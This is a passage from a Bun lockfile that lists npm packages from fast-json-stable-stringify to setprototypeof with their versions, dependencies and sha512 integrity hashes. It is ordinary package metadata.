}, "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg=="], 266 | 267 | "fast-json-stable-stringify": ["fast-json-stable-stringify@2.1.0", "", {}, "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw=="], 268 | 269 | "fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="], 270 | 271 | "fastq": ["fastq@1.19.1", "", { "dependencies": { "reusify": "^1.0.4" } }, "sha512-GwLTyxkCXjXbxqIhTsMI2Nui8huMPtnxg7krajPJAjnEG/iiOS7i+zCtWGZR9G0NBKbXKh6X9m9UIsYX/N6vvQ=="], 272 | 273 | "fdir": ["fdir@6.4.6", "", { "peerDependencies": { "picomatch": "^3 || ^4" }, "optionalPeers": ["picomatch"] }, "sha512-hiFoqpyZcfNm1yc4u8oWCf9A2c4D3QjCrks3zmoVKVxpQRzmPNar1hUJcBG2RQHvEVGDN+Jm81ZheVLAQMK6+w=="], 274 | 275 | "fill-range": ["fill-range@7.1.1", "", { "dependencies": { "to-regex-range": "^5.0.1" } }, "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg=="], 276 | 277 | "finalhandler": ["finalhandler@2.1.0", "", { "dependencies": { "debug": "^4.4.0", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "on-finished": "^2.4.1", "parseurl": "^1.3.3", "statuses": "^2.0.1" } }, "sha512-/t88Ty3d5JWQbWYgaOGCCYfXRwV1+be02WqYYlL6h0lEiUAMPM8o8qKGO01YIkOHzka2up08wvgYD0mDiI+q3Q=="], 278 | 279 | "forwarded": ["forwarded@0.2.0", "", {}, "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow=="], 280 | 281 | "fresh": ["fresh@2.0.0", "", {}, "sha512-Rx/WycZ60HOaqLKAi6cHRKKI7zxWbJ31MhntmtwMoaTeF7XFH9hhBp8vITaMidfljRQ6eYWCKkaTK+ykVJHP2A=="], 282 | 283 | "fsevents": ["fsevents@2.3.3", "", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="], 284 | 285 | "function-bind": ["function-bind@1.1.2", "", {}, "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA=="], 286 | 287 | "get-east-asian-width": ["get-east-asian-width@1.3.0", "", {}, "sha512-vpeMIQKxczTD/0s2CdEWHcb0eeJe6TFjxb+J5xgX7hScxqrGuyjmv4c1D4A/gelKfyox0gJJwIHF+fLjeaM8kQ=="], 288 | 289 | "get-intrinsic": ["get-intrinsic@1.3.0", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.2", "es-define-property": "^1.0.1", "es-errors": "^1.3.0", "es-object-atoms": "^1.1.1", "function-bind": "^1.1.2", "get-proto": "^1.0.1", "gopd": "^1.2.0", "has-symbols": "^1.1.0", "hasown": "^2.0.2", "math-intrinsics": "^1.1.0" } }, "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ=="], 290 | 291 | "get-proto": ["get-proto@1.0.1", "", { "dependencies": { "dunder-proto": "^1.0.1", "es-object-atoms": "^1.0.0" } }, "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g=="], 292 | 293 | "get-stream": ["get-stream@8.0.1", "", {}, "sha512-VaUJspBffn/LMCJVoMvSAdmscJyS1auj5Zulnn5UoYcY531UWmdwhRWkcGKnGU93m5HSXP9LP2usOryrBtQowA=="], 294 | 295 | "git-up": ["git-up@8.1.1", "", { "dependencies": { "is-ssh": "^1.4.0", "parse-url": "^9.2.0" } }, "sha512-FDenSF3fVqBYSaJoYy1KSc2wosx0gCvKP+c+PRBht7cAaiCeQlBtfBDX9vgnNOHmdePlSFITVcn4pFfcgNvx3g=="], 296 | 297 | "git-url-parse": ["git-url-parse@16.1.0", "", { "dependencies": { "git-up": "^8.1.0" } }, "sha512-cPLz4HuK86wClEW7iDdeAKcCVlWXmrLpb2L+G9goW0Z1dtpNS6BXXSOckUTlJT/LDQViE1QZKstNORzHsLnobw=="], 298 | 299 | "glob-parent": ["glob-parent@5.1.2", "", { "dependencies": { "is-glob": "^4.0.1" } }, "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow=="], 300 | 301 | "globby": ["globby@14.1.0", "", { "dependencies": { "@sindresorhus/merge-streams": "^2.1.0", "fast-glob": "^3.3.3", "ignore": "^7.0.3", "path-type": "^6.0.0", "slash": "^5.1.0", "unicorn-magic": "^0.3.0" } }, "sha512-0Ia46fDOaT7k4og1PDW4YbodWWr3scS2vAr2lTbsplOt2WkKp0vQbkI9wKis/T5LV/dqPjO3bpS/z6GTJB82LA=="], 302 | 303 | "gopd": ["gopd@1.2.0", "", {}, "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg=="], 304 | 305 | "handlebars": ["handlebars@4.7.8", "", { "dependencies": { "minimist": "^1.2.5", "neo-async": "^2.6.2", "source-map": "^0.6.1", "wordwrap": "^1.0.0" }, "optionalDependencies": { "uglify-js": "^3.1.4" }, "bin": { "handlebars": "bin/handlebars" } }, "sha512-vafaFqs8MZkRrSX7sFVUdo3ap/eNiLnb4IakshzvP56X5Nr1iGKAIqdX6tMlm6HcNRIkr6AxO5jFEoJzzpT8aQ=="], 306 | 307 | "has-symbols": ["has-symbols@1.1.0", "", {}, "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ=="], 308 | 309 | "hasown": ["hasown@2.0.2", "", { "dependencies": { "function-bind": "^1.1.2" } }, "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ=="], 310 | 311 | "http-errors": ["http-errors@2.0.0", "", { "dependencies": { "depd": "2.0.0", "inherits": "2.0.4", "setprototypeof": "1.2.0", "statuses": "2.0.1", "toidentifier": "1.0.1" } }, "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ=="], 312 | 313 | "human-signals": ["human-signals@5.0.0", "", {}, "sha512-AXcZb6vzzrFAUE61HnN4mpLqd/cSIwNQjtNWR0euPm6y0iqx3G4gOXaIDdtdDwZmhwe82LA6+zinmW4UBWVePQ=="], 314 | 315 | "iconv-lite": ["iconv-lite@0.6.3", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw=="], 316 | 317 | "ignore": ["ignore@7.0.5", "", {}, "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg=="], 318 | 319 | "inherits": ["inherits@2.0.4", "", {}, "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="], 320 | 321 | "ipaddr.js": ["ipaddr.js@1.9.1", "", {}, "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g=="], 322 | 323 | "is-docker": ["is-docker@3.0.0", "", { "bin": { "is-docker": "cli.js" } }, "sha512-eljcgEDlEns/7AXFosB5K/2nCM4P7FQPkGc/DWLy5rmFEWvZayGrik1d9/QIY5nJ4f9YsVvBkA6kJpHn9rISdQ=="], 324 | 325 | "is-extglob": ["is-extglob@2.1.1", "", {}, "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ=="], 326 | 327 | "is-fullwidth-code-point": ["is-fullwidth-code-point@5.0.0", "", { "dependencies": { "get-east-asian-width": "^1.0.0" } }, "sha512-OVa3u9kkBbw7b8Xw5F9P+D/T9X+Z4+JruYVNapTjPYZYUznQ5YfWeFkOj606XYYW8yugTfC8Pj0hYqvi4ryAhA=="], 328 | 329 | "is-glob": ["is-glob@4.0.3", "", { "dependencies": { "is-extglob": "^2.1.1" } }, "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg=="], 330 | 331 | "is-inside-container": ["is-inside-container@1.0.0", "", { "dependencies": { "is-docker": "^3.0.0" }, "bin": { "is-inside-container": "cli.js" } }, "sha512-KIYLCCJghfHZxqjYBE7rEy0OBuTd5xCHS7tHVgvCLkx7StIoaxwNW3hCALgEUjFfeRk+MG/Qxmp/vtETEF3tRA=="], 332 | 333 | "is-number": ["is-number@7.0.0", "", {}, "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng=="], 334 | 335 | "is-promise": ["is-promise@4.0.0", "", {}, "sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ=="], 336 | 337 | "is-ssh": ["is-ssh@1.4.1", "", { "dependencies": { "protocols": "^2.0.1" } }, "sha512-JNeu1wQsHjyHgn9NcWTaXq6zWSR6hqE0++zhfZlkFBbScNkyvxCdeV8sRkSBaeLKxmbpR21brail63ACNxJ0Tg=="], 338 | 339 | "is-stream": ["is-stream@3.0.0", "", {}, "sha512-LnQR4bZ9IADDRSkvpqMGvt/tEJWclzklNgSw48V5EAaAeDd6qGvN8ei6k5p0tvxSR171VmGyHuTiAOfxAbr8kA=="], 340 | 341 | "is-wsl": ["is-wsl@3.1.0", "", { "dependencies": { "is-inside-container": "^1.0.0" } }, "sha512-UcVfVfaK4Sc4m7X3dUSoHoozQGBEFeDC+zVo06t98xe8CzHSZZBekNXH+tu0NalHolcJ/QAGqS46Hef7QXBIMw=="], 342 | 343 | "is64bit": ["is64bit@2.0.0", "", { "dependencies": { "system-architecture": "^0.1.0" } }, "sha512-jv+8jaWCl0g2lSBkNSVXdzfBA0npK1HGC2KtWM9FumFRoGS94g3NbCCLVnCYHLjp4GrW2KZeeSTMo5ddtznmGw=="], 344 | 345 | "isexe": ["isexe@2.0.0", "", {}, "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="], 346 | 347 | "istextorbinary": ["istextorbinary@9.5.0", "", { "dependencies": { "binaryextensions": "^6.11.0", "editions": "^6.21.0", "textextensions": "^6.11.0" } }, "sha512-5mbUj3SiZXCuRf9fT3ibzbSSEWiy63gFfksmGfdOzujPjW3k+z8WvIBxcJHBoQNlaZaiyB25deviif2+osLmLw=="], 348 | 349 | "jschardet": ["jschardet@3.1.4", "", {}, "sha512-/kmVISmrwVwtyYU40iQUOp3SUPk2dhNCMsZBQX0R1/jZ8maaXJ/oZIzUOiyOqcgtLnETFKYChbJ5iDC/eWmFHg=="], 350 | 351 | "json-schema-traverse": ["json-schema-traverse@0.4.1", "", {}, "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="], 352 | 353 | "json5": ["json5@2.2.3", "", { "bin": { "json5": "lib/cli.js" } }, "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg=="], 354 | 355 | "log-update": ["log-update@6.1.0", "", { "dependencies": { "ansi-escapes": "^7.0.0", "cli-cursor": "^5.0.0", "slice-ansi": "^7.1.0", "strip-ansi": "^7.1.0", "wrap-ansi": "^9.0.0" } }, "sha512-9ie8ItPR6tjY5uYJh8K/Zrv/RMZ5VOlOWvtZdEHYSTFKZfIBPQa9tOAEeAWhd+AnIneLJ22w5fjOYtoutpWq5w=="], 356 | 357 | "math-intrinsics": ["math-intrinsics@1.1.0", "", {}, "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g=="], 358 | 359 | "media-typer": ["media-typer@1.1.0", "", {}, "sha512-aisnrDP4GNe06UcKFnV5bfMNPBUw4jsLGaWwWfnH3v02GnBuXX2MCVn5RbrWo0j3pczUilYblq7fQ7Nw2t5XKw=="], 360 | 361 | "merge-descriptors": ["merge-descriptors@2.0.0", "", {}, "sha512-Snk314V5ayFLhp3fkUREub6WtjBfPdCPY1Ln8/8munuLuiYhsABgBVWsozAG+MWMbVEvcdcpbi9R7ww22l9Q3g=="], 362 | 363 | "merge-stream": ["merge-stream@2.0.0", "", {}, "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w=="], 364 | 365 | "merge2": ["merge2@1.4.1", "", {}, "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg=="], 366 | 367 | "micromatch": ["micromatch@4.0.8", "", { "dependencies": { "braces": "^3.0.3", "picomatch": "^2.3.1" } }, "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA=="], 368 | 369 | "mime-db": ["mime-db@1.54.0", "", {}, "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ=="], 370 | 371 | "mime-types": ["mime-types@3.0.1", "", { "dependencies": { "mime-db": "^1.54.0" } }, "sha512-xRc4oEhT6eaBpU1XF7AjpOFD+xQmXNB5OVKwp4tqCuBpHLS/ZbBDrc07mYTDqVMg6PfxUjjNp85O6Cd2Z/5HWA=="], 372 | 373 | "mimic-fn": ["mimic-fn@4.0.0", "", {}, "sha512-vqiC06CuhBTUdZH+RYl8sFrL096vA45Ok5ISO6sE/Mr1jRbGH4Csnhi8f3wKVl7x8mO4Au7Ir9D3Oyv1VYMFJw=="], 374 | 375 | "mimic-function": ["mimic-function@5.0.1", "", {}, "sha512-VP79XUPxV2CigYP3jWwAUFSku2aKqBH7uTAapFWCBqutsbmDo96KY5o8uh6U+/YSIn5OxJnXp73beVkpqMIGhA=="], 376 | 377 | "minimatch": ["minimatch@10.0.3", "", { "dependencies": { "@isaacs/brace-expansion": "^5.0.0" } }, "sha512-IPZ167aShDZZUMdRk66cyQAW3qr0WzbHkPdMYa8bzZhlHhO3jALbKdxcaak7W9FfT2rZNpQuUu4Od7ILEpXSaw=="], 378 | 379 | "minimist": ["minimist@1.2.8", "", {}, "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA=="], 380 | 381 | "ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="], 382 | 383 | "nanoid": ["nanoid@3.3.11", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="], 384 | 385 | "negotiator": ["negotiator@1.0.0", "", {}, "sha512-8Ofs/AUQh8MaEcrlq5xOX0CQ9ypTF5dl78mjlMNfOK08fzpgTHQRQPBxcPlEtIw0yRpws+Zo/3r+5WRby7u3Gg=="], 386 | 387 | "neo-async": ["neo-async@2.6.2", "", {}, "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw=="], 388 | 389 | "npm-run-path": ["npm-run-path@5.3.0", "", { "dependencies": { "path-key": "^4.0.0" } }, "sha512-ppwTtiJZq0O/ai0z7yfudtBpWIoxM8yE6nHi1X47eFR2EWORqfbu6CnPlNsjeN683eT0qG6H/Pyf9fCcvjnnnQ=="], 390 | 391 | "object-assign": ["object-assign@4.1.1", "", {}, "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg=="], 392 | 393 | "object-inspect": ["object-inspect@1.13.4", "", {}, "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew=="], 394 | 395 | "on-finished": ["on-finished@2.4.1", "", { "dependencies": { "ee-first": "1.1.1" } }, "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg=="], 396 | 397 | "once": ["once@1.4.0", "", { "dependencies": { "wrappy": "1" } }, "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w=="], 398 | 399 | "onetime": ["onetime@6.0.0", "", { "dependencies": { "mimic-fn": "^4.0.0" } }, "sha512-1FlR+gjXK7X+AsAHso35MnyN5KqGwJRi/31ft6x0M194ht7S+rWAvd7PHss9xSKMzE0asv1pyIHaJYq+BbacAQ=="], 400 | 401 | "parse-path": ["parse-path@7.1.0", "", { "dependencies": { "protocols": "^2.0.0" } }, "sha512-EuCycjZtfPcjWk7KTksnJ5xPMvWGA/6i4zrLYhRG0hGvC3GPU/jGUj3Cy+ZR0v30duV3e23R95T1lE2+lsndSw=="], 402 | 403 | "parse-url": ["parse-url@9.2.0", "", { "dependencies": { "@types/parse-path": "^7.0.0", "parse-path": "^7.0.0" } }, "sha512-bCgsFI+GeGWPAvAiUv63ZorMeif3/U0zaXABGJbOWt5OH2KCaPHF6S+0ok4aqM9RuIPGyZdx9tR9l13PsW4AYQ=="], 404 | 405 | "parseurl": ["parseurl@1.3.3", "", {}, "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ=="], 406 | 407 | "path-key": ["path-key@3.1.1", "", {}, "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q=="], 408 | 409 | "path-to-regexp": ["path-to-regexp@8.2.0", "", {}, "sha512-TdrF7fW9Rphjq4RjrW0Kp2AW0Ahwu9sRGTkS6bvDi0SCwZlEZYmcfDbEsTz8RVk0EHIS/Vd1bv3JhG+1xZuAyQ=="], 410 | 411 | "path-type": ["path-type@6.0.0", "", {}, "sha512-Vj7sf++t5pBD637NSfkxpHSMfWaeig5+DKWLhcqIYx6mWQz5hdJTGDVMQiJcw1ZYkhs7AazKDGpRVji1LJCZUQ=="], 412 | 413 | "picocolors": ["picocolors@1.1.1", "", {}, "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA=="], 414 | 415 | "picomatch": ["picomatch@4.0.2", "", {}, "sha512-M7BAV6Rlcy5u+m6oPhAPFgJTzAioX/6B0DxyvDlo9l8+T3nLKbrczg2WLUyzd45L8RqfUMyGPzekbMvX2Ldkwg=="], 416 | 417 | "piscina": ["piscina@4.9.2", "", { "optionalDependencies": { "@napi-rs/nice": "^1.0.1" } }, "sha512-Fq0FERJWFEUpB4eSY59wSNwXD4RYqR+nR/WiEVcZW8IWfVBxJJafcgTEZDQo8k3w0sUarJ8RyVbbUF4GQ2LGbQ=="], 418 | 419 | "pkce-challenge": ["pkce-challenge@5.0.0", "", {}, "sha512-ueGLflrrnvwB3xuo/uGob5pd5FN7l0MsLf0Z87o/UQmRtwjvfylfc9MurIxRAWywCYTgrvpXBcqjV4OfCYGCIQ=="], 420 | 421 | "postcss": ["postcss@8.5.6", "", { "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg=="], 422 | 423 | "prettier": ["prettier@3.6.0", "", { "bin": { "prettier": "bin/prettier.cjs" } }, "sha512-ujSB9uXHJKzM/2GBuE0hBOUgC77CN3Bnpqa+g80bkv3T3A93wL/xlzDATHhnhkzifz/UE2SNOvmbTz5hSkDlHw=="], 424 | 425 | "protocols": ["protocols@2.0.2", "", {}, "sha512-hHVTzba3wboROl0/aWRRG9dMytgH6ow//STBZh43l/wQgmMhYhOFi0EHWAPtoCz9IAUymsyP0TSBHkhgMEGNnQ=="], 426 | 427 | "proxy-addr": ["proxy-addr@2.0.7", "", { "dependencies": { "forwarded": "0.2.0", "ipaddr.js": "1.9.1" } }, "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg=="], 428 | 429 | "punycode": ["punycode@2.3.1", "", {}, "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg=="], 430 | 431 | "qs": ["qs@6.14.0", "", { "dependencies": { "side-channel": "^1.1.0" } }, "sha512-YWWTjgABSKcvs/nWBi9PycY/JiPJqOD4JA6o9Sej2AtvSGarXxKC3OQSk4pAarbdQlKAh5D4FCQkJNkW+GAn3w=="], 432 | 433 | "queue-microtask": ["queue-microtask@1.2.3", "", {}, "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A=="], 434 | 435 | "range-parser": ["range-parser@1.2.1", "", {}, "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg=="], 436 | 437 | "raw-body": ["raw-body@3.0.0", "", { "dependencies": { "bytes": "3.1.2", "http-errors": "2.0.0", "iconv-lite": "0.6.3", "unpipe": "1.0.0" } }, "sha512-RmkhL8CAyCRPXCE28MMH0z2PNWQBNk2Q09ZdxM9IOOXwxwZbN+qbWaatPkdkWIKL2ZVDImrN/pK5HTRz2PcS4g=="], 438 | 439 | "repomix": ["repomix@0.3.9", "", { "dependencies": { "@clack/prompts": "^0.10.1", "@modelcontextprotocol/sdk": "^1.11.0", "@secretlint/core": "^9.3.1", "@secretlint/secretlint-rule-preset-recommend": "^9.3.1", "cli-spinners": "^2.9.2", "clipboardy": "^4.0.0", "commander": "^14.0.0", "fast-xml-parser": "^5.2.0", "git-url-parse": "^16.1.0", "globby": "^14.1.0", "handlebars": "^4.7.8", "iconv-lite": "^0.6.3", "istextorbinary": "^9.5.0", "jschardet": "^3.1.4", "json5": "^2.2.3", "log-update": "^6.1.0", "minimatch": "^10.0.1", "picocolors": "^1.1.1", "piscina": "^4.9.2", "strip-comments": "^2.0.1", "strip-json-comments": "^5.0.1", "tiktoken": "^1.0.20", "tree-sitter-wasms": "^0.1.12", "web-tree-sitter": "^0.24.7", "zod": "^3.24.3" }, "bin": { "repomix": "bin/repomix.cjs" } }, "sha512-Olo/vORZChL98HOC3tZaE5+kwSaoox8KoF9N+lfQRb7dWT4qNa/SLFHT40Xq54cbZ7l9qTIZhXWmU1d/AtwqGQ=="], 440 | 441 | "restore-cursor": ["restore-cursor@5.1.0", "", { "dependencies": { "onetime": "^7.0.0", "signal-exit": "^4.1.0" } }, "sha512-oMA2dcrw6u0YfxJQXm342bFKX/E4sG9rbTzO9ptUcR/e8A33cHuvStiYOwH7fszkZlZ1z/ta9AAoPk2F4qIOHA=="], 442 | 443 | "reusify": ["reusify@1.1.0", "", {}, "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw=="], 444 | 445 | "rollup": ["rollup@4.44.0", "", { "dependencies": { "@types/estree": "1.0.8" }, "optionalDependencies": { "@rollup/rollup-android-arm-eabi": "4.44.0", "@rollup/rollup-android-arm64": "4.44.0", "@rollup/rollup-darwin-arm64": "4.44.0", "@rollup/rollup-darwin-x64": "4.44.0", "@rollup/rollup-freebsd-arm64": "4.44.0", "@rollup/rollup-freebsd-x64": "4.44.0", "@rollup/rollup-linux-arm-gnueabihf": "4.44.0", "@rollup/rollup-linux-arm-musleabihf": "4.44.0", "@rollup/rollup-linux-arm64-gnu": "4.44.0", "@rollup/rollup-linux-arm64-musl": "4.44.0", "@rollup/rollup-linux-loongarch64-gnu": "4.44.0", "@rollup/rollup-linux-powerpc64le-gnu": "4.44.0", "@rollup/rollup-linux-riscv64-gnu": "4.44.0", "@rollup/rollup-linux-riscv64-musl": "4.44.0", "@rollup/rollup-linux-s390x-gnu": "4.44.0", "@rollup/rollup-linux-x64-gnu": "4.44.0", "@rollup/rollup-linux-x64-musl": "4.44.0", "@rollup/rollup-win32-arm64-msvc": "4.44.0", "@rollup/rollup-win32-ia32-msvc": "4.44.0", "@rollup/rollup-win32-x64-msvc": "4.44.0", "fsevents": "~2.3.2" }, "bin": { "rollup": "dist/bin/rollup" } }, "sha512-qHcdEzLCiktQIfwBq420pn2dP+30uzqYxv9ETm91wdt2R9AFcWfjNAmje4NWlnCIQ5RMTzVf0ZyisOKqHR6RwA=="], 446 | 447 | "router": ["router@2.2.0", "", { "dependencies": { "debug": "^4.4.0", "depd": "^2.0.0", "is-promise": "^4.0.0", "parseurl": "^1.3.3", "path-to-regexp": "^8.0.0" } }, "sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ=="], 448 | 449 | "run-parallel": ["run-parallel@1.2.0", "", { "dependencies": { "queue-microtask": "^1.2.2" } }, "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA=="], 450 | 451 | "safe-buffer": ["safe-buffer@5.2.1", "", {}, "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="], 452 | 453 | "safer-buffer": ["safer-buffer@2.1.2", "", {}, "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="], 454 | 455 | "send": ["send@1.2.0", "", { "dependencies": { "debug": "^4.3.5", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "fresh": "^2.0.0", "http-errors": "^2.0.0", "mime-types": "^3.0.1", "ms": "^2.1.3", "on-finished": "^2.4.1", "range-parser": "^1.2.1", "statuses": "^2.0.1" } }, "sha512-uaW0WwXKpL9blXE2o0bRhoL2EGXIrZxQ2ZQ4mgcfoBxdFmQold+qWsD2jLrfZ0trjKL6vOw0j//eAwcALFjKSw=="], 456 | 457 | "serve-static": ["serve-static@2.2.0", "", { "dependencies": { "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "parseurl": "^1.3.3", "send": "^1.2.0" } }, "sha512-61g9pCh0Vnh7IutZjtLGGpTA355+OPn2TyDv/6ivP2h/AdAVX9azsoxmg2/M6nZeQZNYBEwIcsne1mJd9oQItQ=="], 458 | 459 | "setprototypeof": ["setprototypeof@1.2.0", "", 